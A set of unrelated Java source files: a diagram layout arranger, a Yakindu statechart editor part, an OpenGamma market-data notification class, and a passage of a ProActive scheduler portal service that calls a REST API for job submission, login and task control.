_assocStatements = StatementHelper.reduceAssocs(_assocStatements);
}
private Integer transformAssocsIntoStatements(Integer maxGroupId) throws InternalException {
Pair<List<Statement>, Integer> tempPair = StatementHelper.transformAssocs(_options.DiagramType, _objects,
_assocs, maxGroupId);
_statements.addAll(tempPair.getFirst());
return tempPair.getSecond();
}
private Set<String> addPhantoms() {
Set<String> result = new HashSet<String>();
result.addAll(StatementHelper.extractPhantoms(_statements));
for (String p : result) {
RectangleObject tempObj = new RectangleObject(p);
tempObj.setPhantom(true);
_objects.add(tempObj);
}
_statements.removeAll(_statements.stream().filter(s -> s.getType().equals(StatementType.phantom))
.collect(Collectors.toSet()));
return result;
}
private Integer addDefaultStatements(Integer maxGroupId) throws InternalException {
DefaultStatements ds = new DefaultStatements(_options.DiagramType, _objects, _assocs, _statements, maxGroupId);
_statements.addAll(ds.value());
return ds.getGroupId();
}
private Integer boxArrange(Integer maxGroupId)
throws BoxArrangeConflictException, InternalException, ConversionException, BoxOverlapConflictException {
if (_options.Logging)
System.err.println("> Starting box arrange...");
// Arrange objects
ArrangeObjects ao = new ArrangeObjects(_objects.stream().collect(Collectors.toList()), _statements, maxGroupId,
_options);
_objects = new HashSet<RectangleObject>(ao.value());
_statements = ao.statements();
if (_options.Logging)
System.err.println("> Box arrange DONE!");
return ao.getGId();
}
private void updateAssocsEnd() {
for (LineAssociation a : _assocs) {
ArrayList<Point> al = new ArrayList<Point>();
Point startend = null;
Point endend = null;
int ends = 2;
for (RectangleObject o : _objects) {
if (a.getFrom().equals(o.getName())) {
startend = o.getPosition();
--ends;
}
if (a.getTo().equals(o.getName())) {
endend = o.getPosition();
--ends;
}
if (ends == 0)
break;
}
al.add(startend);
al.add(endend);
a.setRoute(al);
}
}
private void removePhantoms(Set<String> phantoms) {
Set<RectangleObject> toDeleteSet = _objects.stream().filter(o -> phantoms.contains(o.getName()))
.collect(Collectors.toSet());
_objects.removeAll(toDeleteSet);
}
private Integer linkArrange(Integer maxGroupId) throws ConversionException, InternalException,
CannotFindAssociationRouteException, UnknownStatementException {
if (_options.Logging)
System.err.println("> Starting link arrange...");
ArrangeAssociations aa = new ArrangeAssociations(_objects, _assocs, _assocStatements, maxGroupId, _options);
_assocs = aa.value();
_objects = aa.objects();
if (_options.Logging)
System.err.println("> Link arrange DONE!");
return aa.getGId();
}
/***
* This function is used to load data to arrange.
*
* @param os
* Set of RectangleObjects to arrange on a grid.
* @param as
* Set of LineAssociations to arrange between objects.
*/
public void load(Set<RectangleObject> os, Set<LineAssociation> as) {
_objects = os;
_assocs = as;
}
}
|
package org.yakindu.sct.ui.editor.editparts;
import org.eclipse.draw2d.IFigure;
import org.eclipse.emf.common.notify.Notification;
import org.eclipse.gef.EditPolicy;
import org.eclipse.gmf.runtime.diagram.core.preferences.PreferencesHint;
import org.eclipse.gmf.runtime.diagram.ui.editparts.ResizableCompartmentEditPart;
import org.eclipse.gmf.runtime.diagram.ui.editpolicies.DragDropEditPolicy;
import org.eclipse.gmf.runtime.diagram.ui.editpolicies.EditPolicyRoles;
import org.eclipse.gmf.runtime.diagram.ui.figures.ResizableCompartmentFigure;
import org.eclipse.gmf.runtime.draw2d.ui.figures.ConstrainedToolbarLayout;
import org.eclipse.gmf.runtime.notation.BooleanValueStyle;
import org.eclipse.gmf.runtime.notation.NotationPackage;
import org.eclipse.gmf.runtime.notation.View;
import org.yakindu.sct.model.sgraph.SGraphPackage;
import org.yakindu.sct.ui.editor.DiagramActivator;
import org.yakindu.sct.ui.editor.factories.StateViewFactory;
import org.yakindu.sct.ui.editor.policies.StateCompartmentCanonicalEditPolicy;
import org.yakindu.sct.ui.editor.policies.StateCompartmentCreationEditPolicy;
import org.yakindu.sct.ui.editor.utils.GMFNotationUtil;
import de.itemis.gmf.runtime.commons.editpolicies.CompartmentLayoutEditPolicy;
/**
*
* @author andreas muelder - Initial contribution and API
*
*/
public class StateFigureCompartmentEditPart extends ResizableCompartmentEditPart {
private static final String PARENT_VIEW = "parent_view";
public StateFigureCompartmentEditPart(View view) {
super(view);
}
// Listeners for the parent view to get notified when layout is changed
@Override
protected void addNotationalListeners() {
addListenerFilter(PARENT_VIEW, this, getParent().getNotationView());
super.addNotationalListeners();
}
@Override
protected void removeNotationalListeners() {
removeListenerFilter(PARENT_VIEW);
super.removeNotationalListeners();
}
@Override
protected void createDefaultEditPolicies() {
super.createDefaultEditPolicies();
installEditPolicy(EditPolicyRoles.CREATION_ROLE, new StateCompartmentCreationEditPolicy());
installEditPolicy(EditPolicyRoles.CANONICAL_ROLE, new StateCompartmentCanonicalEditPolicy());
installEditPolicy(EditPolicyRoles.DRAG_DROP_ROLE, new DragDropEditPolicy());
installEditPolicy(EditPolicy.LAYOUT_ROLE, new CompartmentLayoutEditPolicy(
SGraphPackage.Literals.COMPOSITE_ELEMENT__REGIONS));
}
@Override
protected void refreshVisuals() {
super.refreshVisuals();
((ResizableCompartmentFigure) getFigure()).getScrollPane().setScrollBarVisibility(
org.eclipse.draw2d.ScrollPane.NEVER);
}
@Override
public boolean isSelectable() {
return false;
}
@Override
protected IFigure createFigure() {
ResizableCompartmentFigure figure = (ResizableCompartmentFigure) super.createFigure();
figure.getContentPane().setLayoutManager(new StateFigureCompartmentLayout(getAlignment()));
figure.setBorder(null);
// Should be initialized with null to display nothing.
figure.setToolTip((String) null);
return figure;
}
@Override
public ResizableCompartmentFigure getFigure() {
return (ResizableCompartmentFigure) super.getFigure();
}
@Override
public StateEditPart getParent() {
return (StateEditPart) super.getParent();
}
protected boolean getAlignment() {
BooleanValueStyle style = GMFNotationUtil.getBooleanValueStyle(getParent().getNotationView(),
StateViewFactory.ALIGNMENT_ORIENTATION);
return (style != null) ? style.isBooleanValue() : true;
}
@Override
protected void handleNotificationEvent(Notification event) {
if (event.getFeature() == NotationPackage.Literals.BOOLEAN_VALUE_STYLE__BOOLEAN_VALUE) {
updateLayout();
}
super.handleNotificationEvent(event);
}
private void updateLayout() {
getFigure().getContentPane().setLayoutManager(new StateFigureCompartmentLayout(getAlignment()));
}
private static final class StateFigureCompartmentLayout extends ConstrainedToolbarLayout {
public StateFigureCompartmentLayout(boolean isHorizontal) {
super(isHorizontal);
setSpacing(-1); // make lines overlap so it looks like a shared line
}
}
@Override
public PreferencesHint getDiagramPreferencesHint() {
return DiagramActivator.DIAGRAM_PREFERENCES_HINT;
}
}
|
package com.opengamma.engine.marketdata.live;
import java.util.Set;
import org.fudgemsg.FudgeField;
import org.fudgemsg.FudgeMsg;
import org.fudgemsg.MutableFudgeMsg;
import org.fudgemsg.mapping.FudgeDeserializer;
import org.fudgemsg.mapping.FudgeSerializer;
import com.google.common.collect.ImmutableSet;
import com.google.common.collect.Sets;
import com.opengamma.id.ExternalScheme;
import com.opengamma.util.ArgumentChecker;
/**
* Notification that a market data provider has become available.
*/
public class MarketDataAvailabilityNotification {
/** Field name for Fudge message. */
private static final String SCHEMES = "schemes";
/** Schemes handled by the provider. */
private final Set<ExternalScheme> _schemes;
/**
* @param schemes Schemes handled by the provider.
*/
public MarketDataAvailabilityNotification(Set<ExternalScheme> schemes) {
ArgumentChecker.notEmpty(schemes, "schemes");
_schemes = ImmutableSet.copyOf(schemes);
}
/**
* @return The schemes handled by the market data provider that has become available.
*/
public Set<ExternalScheme> getSchemes() {
return _schemes;
}
public MutableFudgeMsg toFudgeMsg(final FudgeSerializer serializer) {
MutableFudgeMsg msg = serializer.newMessage();
MutableFudgeMsg schemesMsg = serializer.newMessage();
for (ExternalScheme scheme : _schemes) {
serializer.addToMessage(schemesMsg, null, null, scheme.getName());
}
serializer.addToMessage(msg, SCHEMES, null, schemesMsg);
return msg;
}
public static MarketDataAvailabilityNotification fromFudgeMsg(final FudgeDeserializer deserializer, final FudgeMsg msg) {
FudgeMsg schemesMsg = msg.getMessage(SCHEMES);
Set<ExternalScheme> schemes = Sets.newHashSet();
for (FudgeField field : schemesMsg) {
String schemeName = deserializer.fieldValueToObject(String.class, field);
schemes.add(ExternalScheme.of(schemeName));
}
return new MarketDataAvailabilityNotification(schemes);
}
@Override
public String toString() {
return "MarketDataAvailabilityNotification [_schemes=" + _schemes + "]";
}
}
|
package org.ow2.proactive_grid_cloud_portal.scheduler.server;
import static org.ow2.proactive_grid_cloud_portal.common.server.HttpUtils.convertToString;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.UnsupportedEncodingException;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.jar.JarFile;
import javax.ws.rs.WebApplicationException;
import javax.ws.rs.core.MediaType;
import javax.ws.rs.core.Response;
import javax.ws.rs.core.Response.Status;
import org.apache.commons.io.IOUtils;
import org.apache.http.HttpResponse;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.mime.MultipartEntity;
import org.apache.http.entity.mime.content.ByteArrayBody;
import org.apache.http.entity.mime.content.FileBody;
import org.apache.http.entity.mime.content.StringBody;
import org.apache.http.impl.client.CloseableHttpClient;
import org.codehaus.jettison.json.JSONArray;
import org.codehaus.jettison.json.JSONException;
import org.jboss.resteasy.client.jaxrs.ResteasyClient;
import org.jboss.resteasy.client.jaxrs.ResteasyClientBuilder;
import org.jboss.resteasy.client.jaxrs.ResteasyWebTarget;
import org.jboss.resteasy.client.jaxrs.engines.ApacheHttpClient4Engine;
import org.ow2.proactive.http.HttpClientBuilder;
import org.ow2.proactive.scheduling.api.graphql.beans.input.Query;
import org.ow2.proactive.scheduling.api.graphql.client.SchedulingApiClientGwt;
import org.ow2.proactive_grid_cloud_portal.common.server.ConfigReader;
import org.ow2.proactive_grid_cloud_portal.common.server.ConfigUtils;
import org.ow2.proactive_grid_cloud_portal.common.server.Service;
import org.ow2.proactive_grid_cloud_portal.common.shared.Config;
import org.ow2.proactive_grid_cloud_portal.common.shared.RestServerException;
import org.ow2.proactive_grid_cloud_portal.common.shared.ServiceException;
import org.ow2.proactive_grid_cloud_portal.scheduler.client.JobUsage;
import org.ow2.proactive_grid_cloud_portal.scheduler.client.OutputMode;
import org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService;
import org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerServiceAsync;
import org.ow2.proactive_grid_cloud_portal.scheduler.client.controller.TasksCentricController;
import org.ow2.proactive_grid_cloud_portal.scheduler.shared.SchedulerConfig;
import org.ow2.proactive_grid_cloud_portal.scheduler.shared.SchedulerPortalDisplayConfig;
import org.ow2.proactive_grid_cloud_portal.scheduler.shared.SharedProperties;
/**
* The server side implementation of the RPC service.
*/
@SuppressWarnings("serial")
public class SchedulerServiceImpl extends Service implements SchedulerService {
private static final String ISO_8601_FORMAT = "yyyy-MM-dd'T'HH:mmZ";
private CloseableHttpClient httpClient;
/**
* Number of threads created for the threadPool shared by RestEasy client proxies.
*/
private static final int THREAD_POOL_SIZE = Runtime.getRuntime().availableProcessors() * 8;
/**
* Thread pool shared by RestEasy client proxies.
*/
private ExecutorService threadPool;
/**
* GraphQL Client
*/
private SchedulingApiClientGwt graphQLClient;
@Override
public void init() {
loadProperties();
Config config = Config.get();
httpClient = new HttpClientBuilder().maxConnections(50)
.allowAnyCertificate(config.isHttpsAllowAnyCertificate())
.allowAnyHostname(config.isHttpsAllowAnyHostname())
.useSystemProperties()
.build();
threadPool = Executors.newFixedThreadPool(THREAD_POOL_SIZE);
graphQLClient = new SchedulingApiClientGwt(SchedulerConfig.get().getSchedulingApiUrl(), httpClient, threadPool);
}
/**
* Loads properties defined in the configuration file and in JVM arguments.
*/
private void loadProperties() {
final Map<String, String> props = ConfigReader.readPropertiesFromFile(getServletContext().getRealPath(SchedulerConfig.CONFIG_PATH));
SchedulerConfig.get().load(props);
ConfigUtils.loadSystemProperties(SchedulerConfig.get());
final Map<String, String> portalProperties = ConfigReader.readPropertiesFromFile(getServletContext().getRealPath(SchedulerPortalDisplayConfig.CONFIG_PATH));
SchedulerPortalDisplayConfig.get().load(portalProperties);
}
/**
* Submits a XML file to the REST part by using an HTTP client.
*
* @param sessionId the id of the client which submits the job
* @param file the XML file that is submitted
* @return an error message upon failure, "id=<jobId>" upon success
* @throws RestServerException
* @throws ServiceException
*/
public String submitXMLFile(String sessionId, File file) throws RestServerException, ServiceException {
HttpPost method = new HttpPost(SchedulerConfig.get().getRestUrl() + "/scheduler/submit");
method.addHeader("sessionId", sessionId);
boolean isJar = isJarFile(file);
try {
String name = isJar ? "jar" : "file";
String mime = isJar ? "application/java-archive" : "application/xml";
String charset = "ISO-8859-1";
MultipartEntity entity = new MultipartEntity();
entity.addPart("file", new FileBody(file, name, mime, charset));
method.setEntity(entity);
HttpResponse execute = httpClient.execute(method);
InputStream is = execute.getEntity().getContent();
String ret = convertToString(is);
if (execute.getStatusLine().getStatusCode() == Response.Status.OK.getStatusCode()) {
return ret;
} else {
throw new RestServerException(execute.getStatusLine().getStatusCode(), ret);
}
} catch (IOException e) {
throw new ServiceException("Failed to read response: " + e.getMessage());
} finally {
method.releaseConnection();
if (file != null) {
file.delete();
}
}
}
/**
* Validate a XML file to the REST part by using an HTTP client.
*
* @param sessionId the id of the client which submits the job
* @param file the XML file that is submitted
* @return an error message upon failure, "id=<jobId>" upon success
* @throws RestServerException
* @throws ServiceException
*/
public String validateXMLFile(String sessionId, File file) throws RestServerException, ServiceException {
HttpPost method = new HttpPost(SchedulerConfig.get().getRestUrl() + "/scheduler/validate");
method.addHeader("sessionId", sessionId);
boolean isJar = isJarFile(file);
try {
String name = isJar ? "jar" : "file";
String mime = isJar ? "application/java-archive" : "application/xml";
String charset = "ISO-8859-1";
MultipartEntity entity = new MultipartEntity();
entity.addPart("file", new FileBody(file, name, mime, charset));
method.setEntity(entity);
HttpResponse execute = httpClient.execute(method);
InputStream is = execute.getEntity().getContent();
String ret = convertToString(is);
if (execute.getStatusLine().getStatusCode() == Response.Status.OK.getStatusCode()) {
return ret;
} else {
throw new RestServerException(execute.getStatusLine().getStatusCode(), ret);
}
} catch (IOException e) {
throw new ServiceException("Failed to read response: " + e.getMessage());
} finally {
method.releaseConnection();
if (file != null) {
file.delete();
}
}
}
private boolean isJarFile(File file) {
try {
new JarFile(file);
return true;
} catch (IOException e1) {
return false;
}
}
/**
* Submit flat command file
*
* @param sessionId current session
* @param commandFileContent content of the command file: endline
* separated native commands
* @param jobName name of the job to create
* @param selectionScriptContent selection script content, or null
* @param selectionScriptExtension selection script extension for script
* engine detection ("js", "py", "rb")
* @return JobId of created Job as JSON
* @throws RestServerException
* @throws ServiceException
*/
public String submitFlatJob(String sessionId, String commandFileContent, String jobName,
String selectionScriptContent, String selectionScriptExtension)
throws RestServerException, ServiceException {
try {
return getRestClientProxy().submitFlat(sessionId,
commandFileContent,
jobName,
selectionScriptContent,
selectionScriptExtension);
} catch (WebApplicationException e) {
rethrowRestServerException(e);
}
return null;
}
/**
* Getter of the result of a task.
*
* @param sessionId the session id of the user which is logged in
* @param jobId the id of the job the task belongs to
* @param taskId the id of the task
* @return the result
* @throws RestServerException
* @throws ServiceException
*/
public InputStream getTaskResult(String sessionId, String jobId, String taskId)
throws RestServerException, ServiceException {
try {
return getRestClientProxy().taskresult(sessionId, jobId, taskId);
} catch (WebApplicationException e) {
rethrowRestServerException(e);
return null;
}
}
/**
* Getter of the serialized result of a task.
*
* @param sessionId the session id of the user which is looged in
* @param jobId the id of the job the task belongs to
* @param taskId the id of the task
* @return the serialized result
* @throws RestServerException
* @throws ServiceException
*/
public InputStream getTaskSerializedResult(String sessionId, String jobId, String taskId)
throws RestServerException, ServiceException {
try {
return getRestClientProxy().taskSerializedResult(sessionId, jobId, taskId);
} catch (WebApplicationException e) {
rethrowRestServerException(e);
return null;
}
}
/**
* Getter of the result metadata of a task.
*
* @param sessionId the session id of the user which is looged in
* @param jobId the id of the job the task belongs to
* @param taskId the id of the task
* @return the result metadata
* @throws RestServerException
* @throws ServiceException
*/
public String getTaskResultMetadata(final String sessionId, final String jobId, final String taskId)
throws RestServerException, ServiceException {
return executeFunctionReturnStreamAsString(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.taskResultMetadata(sessionId, jobId, taskId);
}
});
}
/*
* (non-Javadoc)
*
* @see
* org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService#removeJobs(java.lang
* .String, java.util.List)
*/
@Override
public int removeJobs(final String sessionId, List<Integer> jobIdList)
throws RestServerException, ServiceException {
return executeFunction(new BiFunction<RestClient, Integer, InputStream>() {
@Override
public InputStream apply(RestClient restClientProxy, Integer jobId) {
return restClientProxy.removeJob(sessionId, Integer.toString(jobId));
}
}, jobIdList, "job removal");
}
@Override
public int pauseJobs(final String sessionId, List<Integer> jobIdList) throws RestServerException, ServiceException {
return executeFunction(new BiFunction<RestClient, Integer, InputStream>() {
@Override
public InputStream apply(RestClient restClientProxy, Integer jobId) {
return restClientProxy.pauseJob(sessionId, Integer.toString(jobId));
}
}, jobIdList, "job paused");
}
@Override
public int restartAllInErrorTasks(final String sessionId, List<Integer> jobIdList)
throws RestServerException, ServiceException {
return executeFunction(new BiFunction<RestClient, Integer, InputStream>() {
@Override
public InputStream apply(RestClient restClientProxy, Integer jobId) {
return restClientProxy.restartAllTasksInError(sessionId, Integer.toString(jobId));
}
}, jobIdList, "restart all in error tasks in a job");
}
@Override
public int resumeJobs(final String sessionId, List<Integer> jobIdList)
throws RestServerException, ServiceException {
return executeFunction(new BiFunction<RestClient, Integer, InputStream>() {
@Override
public InputStream apply(RestClient restClientProxy, Integer jobId) {
return restClientProxy.resumeJob(sessionId, Integer.toString(jobId));
}
}, jobIdList, "job resumed");
}
@Override
public int killJobs(final String sessionId, List<Integer> jobIdList) throws RestServerException, ServiceException {
return executeFunction(new BiFunction<RestClient, Integer, InputStream>() {
@Override
public InputStream apply(RestClient restClientProxy, Integer jobId) {
return restClientProxy.killJob(sessionId, Integer.toString(jobId));
}
}, jobIdList, "job killed");
}
/*
* (non-Javadoc)
*
* @see
* org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService#setPriorityByName(java
* .lang.String, java.util.List, java.lang.String)
*/
@Override
public void setPriorityByName(final String sessionId, List<Integer> jobIdList, final String priorityName)
throws ServiceException, RestServerException {
executeFunction(new BiFunction<RestClient, Integer, InputStream>() {
@Override
public InputStream apply(RestClient restClientProxy, Integer jobId) {
return restClientProxy.schedulerChangeJobPriorityByName(sessionId,
Integer.toString(jobId),
priorityName);
}
}, jobIdList, "job set to priority " + priorityName);
}
/**
* Login to the scheduler using a Credentials file
*
* @return the sessionId which can be parsed as an Integer, or an error
* message
* @throws RestServerException
* @throws ServiceException
*/
@Override
public String login(String login, String pass, File cred, String ssh) throws RestServerException, ServiceException {
HttpPost method = new HttpPost(SchedulerConfig.get().getRestUrl() + "/scheduler/login");
try {
MultipartEntity entity;
if (cred == null) {
entity = createLoginPasswordSSHKeyMultipart(login, pass, ssh);
} else {
entity = new MultipartEntity();
entity.addPart("credential", new FileBody(cred, "application/octet-stream"));
}
method.setEntity(entity);
HttpResponse response = httpClient.execute(method);
String responseAsString = convertToString(response.getEntity().getContent());
switch (response.getStatusLine().getStatusCode()) {
case 200:
break;
default:
String message = responseAsString;
if (message.trim().length() == 0) {
message = "{ \"httpErrorCode\": " + response.getStatusLine().getStatusCode() + "," +
"\"errorMessage\": \"" + response.getStatusLine().getReasonPhrase() + "\" }";
}
throw new RestServerException(response.getStatusLine().getStatusCode(), message);
}
return responseAsString;
} catch (IOException e) {
throw new ServiceException(e.getMessage());
} finally {
method.releaseConnection();
if (cred != null) {
cred.delete();
}
}
}
private MultipartEntity createLoginPasswordSSHKeyMultipart(String login, String pass, String ssh)
throws UnsupportedEncodingException {
MultipartEntity entity = new MultipartEntity();
entity.addPart("username", new StringBody(login));
entity.addPart("password", new StringBody(pass));
if (ssh != null && !ssh.isEmpty()) {
entity.addPart("sshKey", new ByteArrayBody(ssh.getBytes(), MediaType.APPLICATION_OCTET_STREAM, null));
}
return entity;
}
/**
* Create a Credentials file with the provided authentication parameters
*
* @param login username
* @param pass password
* @param ssh private ssh key
* @return the the Credentials file as a base64 String
* @throws RestServerException
* @throws ServiceException
*/
@Override
public String createCredentials(String login, String pass, String ssh)
throws RestServerException, ServiceException {
HttpPost method = new HttpPost(SchedulerConfig.get().getRestUrl() + "/scheduler/createcredential");
try {
MultipartEntity entity = createLoginPasswordSSHKeyMultipart(login, pass, ssh);
method.setEntity(entity);
HttpResponse response = httpClient.execute(method);
String responseAsString = convertToString(response.getEntity().getContent());
switch (response.getStatusLine().getStatusCode()) {
case 200:
return responseAsString;
default:
throw new RestServerException(response.getStatusLine().getStatusCode(), responseAsString);
}
} catch (IOException e) {
throw new ServiceException(e.getMessage());
} finally {
method.releaseConnection();
}
}
/*
* (non-Javadoc)
*
* @see
* org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService#logout(java.lang.String
* )
*/
@Override
public void logout(String sessionId) throws RestServerException {
getRestClientProxy().disconnect(sessionId);
}
@Override
public boolean killTask(final String sessionId, final Integer jobId, final String taskName)
throws RestServerException, ServiceException {
return executeFunction(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.killTask(sessionId, jobId.toString(), taskName);
}
});
}
@Override
public boolean restartRunningTask(final String sessionId, final Integer jobId, final String taskName)
throws RestServerException, ServiceException {
return executeFunction(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.restartTask(sessionId, jobId.toString(), taskName);
}
});
}
@Override
public boolean restartInErrorTask(final String sessionId, final Integer jobId, final String taskName)
throws RestServerException, ServiceException {
return executeFunction(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.restartInErrorTask(sessionId, jobId.toString(), taskName);
}
});
}
@Override
public boolean preemptTask(final String sessionId, final Integer jobId, final String taskName)
throws RestServerException, ServiceException {
return executeFunction(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.preemptTask(sessionId, jobId.toString(), taskName);
}
});
}
public boolean markAsFinishedAndResume(final String sessionId, final Integer jobId, final String taskName)
throws RestServerException, ServiceException {
return executeFunction(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.markAsFinishedAndResume(sessionId, jobId.toString(), taskName);
}
});
}
/*
* (non-Javadoc)
*
* @seeimit
* org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService#getTasks(java.lang.
* String, java.lang.String)
*/
@Override
public String getTasks(final String sessionId, final String jobId, final int offset, final int limit)
throws RestServerException, ServiceException {
return executeFunctionReturnStreamAsString(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.getJobTaskStatesPaginated(sessionId, jobId, offset, limit);
}
});
}
/*
* (non-Javadoc)
*
* @see
* org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService#getTasksByTag(java.
* lang.
* String, java.lang.String, java.lang.String)
*/
@Override
public String getTasksByTag(final String sessionId, final String jobId, final String tag, final int offset,
final int limit) throws RestServerException, ServiceException {
return executeFunctionReturnStreamAsString(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.getJobTaskStatesByTagPaginated(sessionId, jobId, tag, offset, limit);
}
});
}
public String getTaskCentric(final String sessionId, final long fromDate, final long toDate, final boolean myTasks,
final boolean pending, final boolean running, final boolean finished, final int offset, final int limit,
final TasksCentricController.SortSpecifierRestContainer sortParameters)
throws RestServerException, ServiceException {
return executeFunctionReturnStreamAsString(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.getTaskStates(sessionId,
fromDate,
toDate,
myTasks,
running,
pending,
finished,
offset,
limit,
sortParameters);
}
});
}
public String getTaskCentricByTag(final String sessionId, final String tag, final long fromDate, final long toDate,
final boolean myTasks, final boolean pending, final boolean running, final boolean finished,
final int offset, final int limit, final TasksCentricController.SortSpecifierRestContainer sortParameters)
throws RestServerException, ServiceException {
return executeFunctionReturnStreamAsString(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.getTaskStatesByTag(sessionId,
tag,
fromDate,
toDate,
myTasks,
running,
pending,
finished,
offset,
limit,
sortParameters);
}
});
}
@Override
public String getJobTaskTagsPrefix(final String sessionId, final String jobId, final String prefix)
throws RestServerException, ServiceException {
return executeFunctionReturnStreamAsString(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.getJobTaskTagsPrefix(sessionId, jobId, prefix);
}
});
}
/*
* (non-Javadoc)
*
* @see org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService#getProperties()
*/
@Override
public SharedProperties getProperties() {
return new SharedProperties(SchedulerConfig.get().getProperties(),
SchedulerPortalDisplayConfig.get().getProperties());
}
/*
* (non-Javadoc)
*
* @see
* org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService#getJobInfo(java.lang
* .String, java.lang.String)
*/
@Override
public String getJobInfo(final String sessionId, final String jobId) throws RestServerException, ServiceException {
return executeFunctionReturnStreamAsString(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.job(sessionId, jobId);
}
});
}
public String getJobInfoDetails(final String sessionId, final String jobId)
throws RestServerException, ServiceException {
return executeFunctionReturnStreamAsString(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.jobInfo(sessionId, jobId);
}
});
}
/*
* (non-Javadoc)
*
* @see
* org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService#pauseScheduler(java
* .lang.String)
*/
@Override
public boolean pauseScheduler(final String sessionId) throws RestServerException, ServiceException {
return executeFunction(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.pauseScheduler(sessionId);
}
});
}
/*
* (non-Javadoc)
*
* @see
* org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService#resumeScheduler(java
* .lang.String)
*/
@Override
public boolean resumeScheduler(final String sessionId) throws RestServerException, ServiceException {
return executeFunction(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.resumeScheduler(sessionId);
}
});
}
/*
* (non-Javadoc)
*
* @see
* org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService#freezeScheduler(java
* .lang.String)
*/
@Override
public boolean freezeScheduler(final String sessionId) throws RestServerException, ServiceException {
return executeFunction(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.freezeScheduler(sessionId);
}
});
}
/*
* (non-Javadoc)
*
* @see
* org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService#killScheduler(java.
* lang.String)
*/
@Override
public boolean killScheduler(final String sessionId) throws RestServerException, ServiceException {
return executeFunction(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.killScheduler(sessionId);
}
});
}
/*
* (non-Javadoc)
*
* @see
* org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService#startScheduler(java
* .lang.String)
*/
@Override
public boolean startScheduler(final String sessionId) throws RestServerException, ServiceException {
return executeFunction(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.startScheduler(sessionId);
}
});
}
/*
* (non-Javadoc)
*
* @see
* org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService#stopScheduler(java.
* lang.String)
*/
@Override
public boolean stopScheduler(final String sessionId) throws RestServerException, ServiceException {
return executeFunction(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.stopScheduler(sessionId);
}
});
}
/**
* Fetch logs for a given task in a given job
*
* @param sessionId current session id
* @param jobId id of the job
* @param taskName name of the task
* @param logMode one of {@link SchedulerServiceAsync#LOG_ALL}, {@link
* SchedulerServiceAsync#LOG_STDERR}, {@link
* SchedulerServiceAsync#LOG_STDOUT}
* @return the logs for the given task
* @throws RestServerException
* @throws ServiceException
*/
@Override
public String getTaskOutput(String sessionId, String jobId, String taskName, OutputMode logMode)
throws RestServerException, ServiceException {
RestClient restClientProxy = getRestClientProxy();
try {
switch (logMode) {
case LOG_OUT_ERR:
return restClientProxy.tasklog(sessionId, jobId, taskName);
case LOG_OUT:
return restClientProxy.taskStdout(sessionId, jobId, taskName);
case LOG_ERR:
return restClientProxy.taskStderr(sessionId, jobId, taskName);
default:
throw new RestServerException("Invalid logMode value: " + logMode);
}
} catch (WebApplicationException e) {
return rethrowRestServerException(e);
}
}
/**
* Gets the output of a job even for tasks that have not terminated yet
*
* @param sessionId current session id
* @param jobId id of the job for which logs should be fetched
* @return console output for the whole job
* @throws RestServerException
* @throws ServiceException
*/
@Override
public String getLiveLogJob(final String sessionId, final String jobId)
throws RestServerException, ServiceException {
RestClient restClientProxy = getRestClientProxy();
try {
return restClientProxy.getLiveLogJob(sessionId, jobId);
} catch (WebApplicationException e) {
return rethrowRestServerException(e);
}
}
/**
* Gets the number of bytes available in the job output stream for the given
* job id, might be used to determine if fetch is necessary
*
* @param sessionId current session id
* @param jobId id of the job for which logs should be fetched
* @return number of bytes available in the log for the given job, -1 if no
* avail
* @throws RestServerException
*/
@Override
public int getLiveLogJobAvailable(final String sessionId, final String jobId) throws RestServerException {
RestClient restClientProxy = getRestClientProxy();
String number = null;
try {
number = restClientProxy.getLiveLogJobAvailable(sessionId, jobId);
return Integer.parseInt(number);
} catch (NumberFormatException e) {
throw new RestServerException("Invalid number: " + number);
} catch (WebApplicationException e) {
rethrowRestServerException(e);
return -1;
}
}
/**
* Clean the remote live log object
*
* @param sessionId current session id
